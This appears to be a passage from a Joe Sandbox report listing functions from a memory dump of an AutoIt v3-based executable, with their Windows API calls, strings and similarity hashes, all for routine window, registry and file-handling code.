Function 00A62CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00A62D07
RegisterClassExW.USER32(00000030), ref: 00A62D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00A62D42
InitCommonControlsEx.COMCTL32(?), ref: 00A62D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00A62D6F
LoadIconW.USER32(000000A9), ref: 00A62D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00A62D94

Strings

TaskbarCreated, xrefs: 00A62D37
AutoIt v3 GUI, xrefs: 00A62D23
0, xrefs: 00A62CE9
+, xrefs: 00A62CF0

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: d380c1ff7c57473ff10d71f563dfae55e0764c985e45a6f69027871c63a139d3
Instruction ID: d52e585a75e0a5a3b976af4d099789c45e4d9bae997347de4d51bf9baaa12195
Opcode Fuzzy Hash: d380c1ff7c57473ff10d71f563dfae55e0764c985e45a6f69027871c63a139d3
Instruction Fuzzy Hash: D321D3B190120CAFDB00DFE9ED49BADBBB8FB08710F10851AF611A72A0DBB11545CF94

Function 00AA065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AA039A: CreateFileW.KERNELBASE(00000000,00000000,?,00AA0704,?,?,00000000,?,00AA0704,00000000,0000000C), ref: 00AA03B7

GetLastError.KERNEL32 ref: 00AA076F
__dosmaperr.LIBCMT ref: 00AA0776
GetFileType.KERNELBASE(00000000), ref: 00AA0782
GetLastError.KERNEL32 ref: 00AA078C
__dosmaperr.LIBCMT ref: 00AA0795
CloseHandle.KERNEL32(00000000), ref: 00AA07B5
CloseHandle.KERNEL32(?), ref: 00AA08FF
GetLastError.KERNEL32 ref: 00AA0931
__dosmaperr.LIBCMT ref: 00AA0938

Strings

H, xrefs: 00AA08BD

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: cd69f4cfb4eff2207b3c84c0a907b34edc01e8d57476429902000ae206f0f639
Instruction ID: adf1fa96ec9919dc4e27319d821e61bebeb7fd880c6ba4c9e8289b57cedd405b
Opcode Fuzzy Hash: cd69f4cfb4eff2207b3c84c0a907b34edc01e8d57476429902000ae206f0f639
Instruction Fuzzy Hash: 9BA10332A141098FDF19EFA8D952BAE7BA0AB0A324F240159F815DF2D1DB359912CB91

Function 00A6344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A63A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00B31418,?,00A62E7F,?,?,?,00000000), ref: 00A63A78

Part of subcall function 00A63357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00A63379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00A6356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00AA318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00AA31CE
RegCloseKey.ADVAPI32(?), ref: 00AA3210
_wcslen.LIBCMT ref: 00AA3277
_wcslen.LIBCMT ref: 00AA3286

Strings

Software\AutoIt v3\AutoIt, xrefs: 00A63560
Include, xrefs: 00AA3184, 00AA31C5
\, xrefs: 00AA328C
\Include\, xrefs: 00A63527

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: f148c939eb4675d2673174527b28e5901a9148c588953d4d7400313519fab91e
Instruction ID: 0174ae2483b397f5b64528cf5561bd7a2e1f439edfb44fa84f2b310a9d0274cc
Opcode Fuzzy Hash: f148c939eb4675d2673174527b28e5901a9148c588953d4d7400313519fab91e
Instruction Fuzzy Hash: 3B71A0724043059EC714EF65ED829AFBBF8FF95350F60482EF545832A0EB309A49CB56

Function 00A62B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00A62B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00A62B9D
LoadIconW.USER32(00000063), ref: 00A62BB3
LoadIconW.USER32(000000A4), ref: 00A62BC5
LoadIconW.USER32(000000A2), ref: 00A62BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00A62BEF
RegisterClassExW.USER32(?), ref: 00A62C40

Part of subcall function 00A62CD4: GetSysColorBrush.USER32(0000000F), ref: 00A62D07
Part of subcall function 00A62CD4: RegisterClassExW.USER32(00000030), ref: 00A62D31
Part of subcall function 00A62CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00A62D42
Part of subcall function 00A62CD4: InitCommonControlsEx.COMCTL32(?), ref: 00A62D5F
Part of subcall function 00A62CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00A62D6F
Part of subcall function 00A62CD4: LoadIconW.USER32(000000A9), ref: 00A62D85
Part of subcall function 00A62CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00A62D94

Strings

0, xrefs: 00A62C0F
AutoIt v3, xrefs: 00A62C2F
#, xrefs: 00A62C16

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 2ac3447c0a784f73a223b88839ae16c483bba4cfa919e8edd095d9787663cf6a
Instruction ID: d3f8dbe11f01d59ddf8e02c2dd58989f685889ffc133cad25b8fcf55ca7e6ebe
Opcode Fuzzy Hash: 2ac3447c0a784f73a223b88839ae16c483bba4cfa919e8edd095d9787663cf6a
Instruction Fuzzy Hash: 0E211A71E00318BBDB10DFEAED55AAD7FB8FB48B50F20041AE600A76A0DBB11545CF98

Function 00A63170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00A6316A,?,?), ref: 00A631D8
KillTimer.USER32(?,00000001,?,?,?,?,?,00A6316A,?,?), ref: 00A63204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00A63227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00A6316A,?,?), ref: 00A63232
CreatePopupMenu.USER32 ref: 00A63246
PostQuitMessage.USER32(00000000), ref: 00A63267

Strings

TaskbarCreated, xrefs: 00A6322D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: f95d6461b8b7e9e97af090cc531ff638e7a17357f7a5d3caad4ce3677921a49c
Instruction ID: 6303787f31e0023439a5b03af7aadb6c40761a02fa885e4d4be28f6352cc1de7
Opcode Fuzzy Hash: f95d6461b8b7e9e97af090cc531ff638e7a17357f7a5d3caad4ce3677921a49c
Instruction Fuzzy Hash: 49411533240204BBDF146BBC9E59BBD3A7DEB16350F240625F602C72A1DB619A53D7A1

Function 00A61410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00A61459
CoUninitialize.COMBASE ref: 00A614F8
UnregisterHotKey.USER32(?), ref: 00A616DD
DestroyWindow.USER32(?), ref: 00AA24B9
FreeLibrary.KERNEL32(?), ref: 00AA251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00AA254B

Strings

close all, xrefs: 00A61454

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 65b6cf0cafecfa6cf59909d54a248f8117b41543fe43d90dcdf6ba4e5641295a
Instruction ID: 8068f94a5bac4e7a71666a6796ad6e05d36db604ae6de887ecd575445398e0c1
Opcode Fuzzy Hash: 65b6cf0cafecfa6cf59909d54a248f8117b41543fe43d90dcdf6ba4e5641295a
Instruction Fuzzy Hash: F1D15E31701212CFCB29EF59CA95B69FBB4BF05710F1881ADE54A6B291DB30AD22CF51

Function 00A62C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00A62C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00A62CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00A61CAD,?), ref: 00A62CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00A61CAD,?), ref: 00A62CCF

Strings

AutoIt v3, xrefs: 00A62C89, 00A62C8E, 00A62C8F
edit, xrefs: 00A62CAC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 3a822f58431b9ef4e02bcf6fc95cd8d94a7fd6ed92432d257ed68ff6cb93e161
Instruction ID: 8d96d388f8fa9722da5f20fb5350e8cdf4a8919f5c6cf5136cf833f5d19bde3b
Opcode Fuzzy Hash: 3a822f58431b9ef4e02bcf6fc95cd8d94a7fd6ed92432d257ed68ff6cb93e161
Instruction Fuzzy Hash: 2CF05E755402987AEB30575BAC48EBB3EBDD7C6F60F20041EFA00A35A0DA711845DEB8

Function 00A63B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00A63B0F,SwapMouseButtons,00000004,?), ref: 00A63B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00A63B0F,SwapMouseButtons,00000004,?), ref: 00A63B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00A63B0F,SwapMouseButtons,00000004,?), ref: 00A63B83

Strings

Control Panel\Mouse, xrefs: 00A63B3E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: c914e66230d06960b2ddcbb5bf8e53c1090ef2a9d4a52069c5c5047b89777a78
Instruction ID: 40903382d1b3f12ec8fcee382c05f943ad42dd81935f15e7e97a692f7e5f904c
Opcode Fuzzy Hash: c914e66230d06960b2ddcbb5bf8e53c1090ef2a9d4a52069c5c5047b89777a78
Instruction Fuzzy Hash: 38115AB2510208FFDF20CFA5DC44EEEB7B8EF01750B104459A802D7110E6319E429760

Function 00A63923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00AA33A2

Part of subcall function 00A66B57: _wcslen.LIBCMT ref: 00A66B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00A63A04

Strings

Line: , xrefs: 00AA33EB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: ea1476c6be2478431a7059c96b76c3e4616fa78c521bd26251920d13646ea415
Instruction ID: 95767c2d5e9f3e37054e9dd258424d3f0f7b2ad30e227f7388dfe6c7cddcae70
Opcode Fuzzy Hash: ea1476c6be2478431a7059c96b76c3e4616fa78c521bd26251920d13646ea415
Instruction Fuzzy Hash: AA31C172408304AACB21EB64DC45BEFB7FCAB44710F10492AF59A971D1DF709A4ACBD6

Function 00A7FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00A80668

Part of subcall function 00A832A4: RaiseException.KERNEL32(?,?,?,00A8068A,?,00B31444,?,?,?,?,?,?,00A8068A,00A61129,00B28738,00A61129), ref: 00A83304

__CxxThrowException@8.LIBVCRUNTIME ref: 00A80685

Strings

Unknown exception, xrefs: 00A80692

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 99d26dd178e17261de3c81457d42c9a17742af1c228529429014e0591496e997
Instruction ID: c0f3dae27660ace50b7df93ed98a059f894531e7e4dfa92f7ecd2b8107f67b7c
Opcode Fuzzy Hash: 99d26dd178e17261de3c81457d42c9a17742af1c228529429014e0591496e997
Instruction Fuzzy Hash: E2F0C23490020DBB8F14B7A4ED46D9E77AC5E00754B60C571B928D65A2FF71DB2AC790

Function 00A610F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00A61BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00A61BF4
Part of subcall function 00A61BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00A61BFC
Part of subcall function 00A61BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00A61C07
Part of subcall function 00A61BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00A61C12
Part of subcall function 00A61BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00A61C1A
Part of subcall function 00A61BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00A61C22

Part of subcall function 00A61B4A: RegisterWindowMessageW.USER32(00000004,?,00A612C4), ref: 00A61BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00A6136A
OleInitialize.OLE32 ref: 00A61388
CloseHandle.KERNEL32(00000000,00000000), ref: 00AA24AB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 19ce2e032814bc62c04ba8770774cf5c62b6f99f146b8b105f3ff15f8a0aa723
Instruction ID: 0df350b256ee2f8fe969942be71a7d03655c2bc4e935594e4f835566bca56b58
Opcode Fuzzy Hash: 19ce2e032814bc62c04ba8770774cf5c62b6f99f146b8b105f3ff15f8a0aa723
Instruction Fuzzy Hash: C371ACB69012048FC384DFBEAA4566D3AECFBA83547368E2AE54AC7361EF304405CF54

Function 00ACC161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A63923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00A63A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00ACC259
KillTimer.USER32(?,00000001,?,?), ref: 00ACC261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00ACC270

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 997cabfd0003b20f0d6760f694688885ed90cac7b44ba56c0d4a94bc6dcebc0d
Instruction ID: 27b71435d959590426b3a2d4bee453bb4651903eb5b74cb9c1286f5bf2d003bc
Opcode Fuzzy Hash: 997cabfd0003b20f0d6760f694688885ed90cac7b44ba56c0d4a94bc6dcebc0d
Instruction Fuzzy Hash: 7531C370904344AFEB32EFA48895BEBBBFCAB06314F04049ED1DE97241C7745A85CB51

Function 00A986AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,00A985CC,?,00B28CC8,0000000C), ref: 00A98704
GetLastError.KERNEL32(?,00A985CC,?,00B28CC8,0000000C), ref: 00A9870E
__dosmaperr.LIBCMT ref: 00A98739

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 37647f6045172e6ade2b282b9ff08cfc885a20636c0c6c5af9b712be9c33b833
Instruction ID: 4ad9ea9b74d8b72defdd28b776013622ff932cd3d95433cfbd25a5c0117d29f3
Opcode Fuzzy Hash: 37647f6045172e6ade2b282b9ff08cfc885a20636c0c6c5af9b712be9c33b833
Instruction Fuzzy Hash: 8C012B33B0562016DE256374A946B7F77D94B93774F390219FA148F1D2DEA88C81D290

Function 00A6DB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00A6DB7B
DispatchMessageW.USER32(?), ref: 00A6DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A6DB9F
Sleep.KERNELBASE(0000000A), ref: 00A6DBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00AB1CC9

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: ba7681a859d8ea2118a7cb86a06661422f05b5ea1a079a4785dea9c81ef1195a
Instruction ID: e1edbb06cd939c1ab25fcf551afaaec4a918deb6ef0ded331a328e904885c73b
Opcode Fuzzy Hash: ba7681a859d8ea2118a7cb86a06661422f05b5ea1a079a4785dea9c81ef1195a
Instruction Fuzzy Hash: 37F05E316443449BE730DBE18D59FEA77BCEB45350F508919E61A830D0DB30A449CB25

Function 00A71310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00A717F6

Strings

CALL, xrefs: 00A717C6

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 60fc90ad390b4bcfda293ae06a235db3fccb81808d5bde2acdbdf40cf4295f9d
Instruction ID: c31fd2bde1276cbbd5b4ae8dde68a1072bef9d2e5c3d293bd32957cceb0dac80
Opcode Fuzzy Hash: 60fc90ad390b4bcfda293ae06a235db3fccb81808d5bde2acdbdf40cf4295f9d
Instruction Fuzzy Hash: 93228B706083019FC714DF18C990A6ABBF5BF85314F24C96DF49A8B362D735E945CB92

Function 00A62DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

